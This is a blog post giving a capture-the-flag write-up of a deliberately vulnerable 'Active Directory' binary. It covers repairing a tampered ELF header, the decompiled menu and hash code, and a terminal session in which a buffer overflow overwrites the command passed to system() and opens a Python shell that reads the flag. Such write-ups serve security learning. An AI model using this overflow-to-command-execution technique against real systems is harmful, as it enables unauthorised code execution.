Tuesday, January 1, 2013

Hack You Too CTF - Binary 400 - Microsoft Active Directory

Description:
Welcome to Microsoft Security Assessment Lab. As far as we are concerned, you are applying for an information security job at our vacancy. As your test assignment, you are to verify the security of our new Version 8 of Microsoft Active Directory service. This is the first time we ship Active Directory to Linux, so please be sure not to miss any kind of possible vulnerability.


I didn't participate in Hack You Too but got a chance to solve the challenges as they were online even after the CTF.
[ctf@renorobert Active]# nc  v.ctf.su 389
Hello, OU=Users,CN=Active_Directory_Default_Installation_Guest. Welcome to Active Directory (TM)

Please select the action:
1 - list Directories
2 - create Directory
3 - remove Directory
4 - auth as different user
5 - quit
>1
total 24
d---rwx--T 5 root ad   4096 Dec 11 02:34 .
drwx--x--t 3 root root 4096 Dec  3 00:03 ..
drwxr-xr-x 2 ad   ad   4096 Dec  2 23:54 1
----r----- 1 root ad     75 Dec  8 11:51 flag.txt
d---rwx--- 7 root ad   4096 Dec 11 02:36 HASHDB
drwxr-xr-x 2 ad   ad   4096 Dec  3 03:08 test
We have a local copy of the binary for analysis
[ctf@renorobert Active]# readelf -h activedirectory.bin | grep -i section
readelf: Error: Unable to read in 0x190488 bytes of section headers
  Start of section headers:          5448 (bytes into file)
  Size of section headers:           40 (bytes)
  Number of section headers:         40989
  Section header string table index: 44510 <corrupt: out of range>
The binary is not too hard to understand but the header is tampered so that it resists easy decompilation. Once the ELF is fixed, decompilation is easier. Change bytes 49 - 52 from [1D A0 DE AD] to [1C 00 1B 00], this fixes the ELF header.
[ctf@renorobert Active]# readelf -h activedirectory_fixed.bin | grep -i section
  Start of section headers:          5448 (bytes into file)
  Size of section headers:           40 (bytes)
  Number of section headers:         28
  Section header string table index: 27
The important section of the binary is below. We have to exploit a buffer overflow vulnerability to get the flag
switch ( dword_8049460 )
    {
      case 1:
        if ( system("ls -la") )  // String at address 0x8049280
          printf("Active Directory encountered an error\n");
        break;
      case 2:    // Create directory to pass access() check
        printf("Enter Directory name to create: ");
        fgets(&byte_8049480, 256, stdin);
        *(&byte_8049480 + strlen(&byte_8049480) - 1) = 0;
        if ( mkdir(&byte_8049480, 493) )
          printf("Active Directory encountered an error\n");
        else
          printf("Directory created successfully\n");
        break;
      case 3:
        printf("Enter Directory name to remove: ");
        fgets(&byte_8049480, 256, stdin);
        *(&byte_8049480 + strlen(&byte_8049480) - 1) = 0;
        if ( rmdir(&byte_8049480) )
          printf("Active Directory encountered an error\n");
        else
          printf("Directory removed successfully\n");
        break;
      case 4:
        printf("Login: ");
        fgets(&byte_8049780, 256, stdin);  // Payload here 
        *(&byte_8049780 + strlen(&byte_8049780) - 1) = 0;    
        printf("Password: ");
        fgets(&byte_8049880, 256, stdin);
        *(&byte_8049880 + strlen(&byte_8049880) - 1) = 0;
        v0 = sub_8048694((int)&byte_8049880);  // Hash function
        v1 = sub_8048694((int)&byte_8049780);
        sprintf(s, "HASHDB/OU=Users,LoginHash=%d,PasswHash=%d", v1, v0);
        if ( !access(s, 2) )   // Pass this check
        {
          strcpy(0x80491c0, 0x8049780); 
          // Anything beyond 192 bytes overwrites string passed to system() 
          printf("User authenticated successfully\n");
          sub_8048713();
        }
        printf("Wrong login or password\n");
        break;
      case 5:
        exit(0);
        break;
    }
Idea of expliot:
[*] Compute the hash value for a payload
[*] Create directory for the hash value using case 2, this will help passing the access() in case 4
[*] Use case 4, fgets(0x8049780, 256, stdin) reads in data. Anything beyond 192 bytes overwrites the string passed to system() at 0x8049280 due to strcpy(0x80491c0, 0x8049780)
[*] After overwriting, use case 1. This executes the command using system()

Below is the function used for hash calculation from the decompiled code.
#include<stdio.h>

void hash(char *a1)
{
  int v1; 
  int v3; 
  int i; 
  signed int j; 
  v3 = -464906069;
  for ( i = 0; *(a1 + i); ++i )
  {
    v1 = 17185 * *(a1 + i) ^ (4660 * *(a1 + i) + v3);
    v3 = v1 * v1;
  }
  for ( j = 0; j <= 99; ++j )
    v3 *= 1259284567;
  printf("HASHDB/OU=Users,LoginHash=%d,PasswHash=%d\n", v3, v3);
}

int main(int argc, char **argv)
{
    if (argc > 1)
    hash(argv[1]);
    return 0;
}
[ctf@renorobert Active]# ./hash `python -c 'print "A"*192 + "python"'`
HASHDB/OU=Users,LoginHash=-1707213439,PasswHash=-1707213439
Please select the action:
1 - list Directories
2 - create Directory
3 - remove Directory
4 - auth as different user
5 - quit
>2
Enter Directory name to create: HASHDB/OU=Users,LoginHash=-1707213439,PasswHash=-1707213439
Directory created successfully

Please select the action:
1 - list Directories
2 - create Directory
3 - remove Directory
4 - auth as different user
5 - quit
>4
Login: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython
User authenticated successfully
Hello, OU=Users,CN=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython. Welcome to Active Directory (TM)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython1
Python 2.7.3 (default, Aug  1 2012, 05:16:07) 
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> open('flag.txt').read()
'flag: 40d3f5ea15eb3d5dba1d5a038351f060\n\n// bonus +800 flag in /etc/shadow\n\n'
So the flag for the challenge is: 40d3f5ea15eb3d5dba1d5a038351f060

No comments :

Post a Comment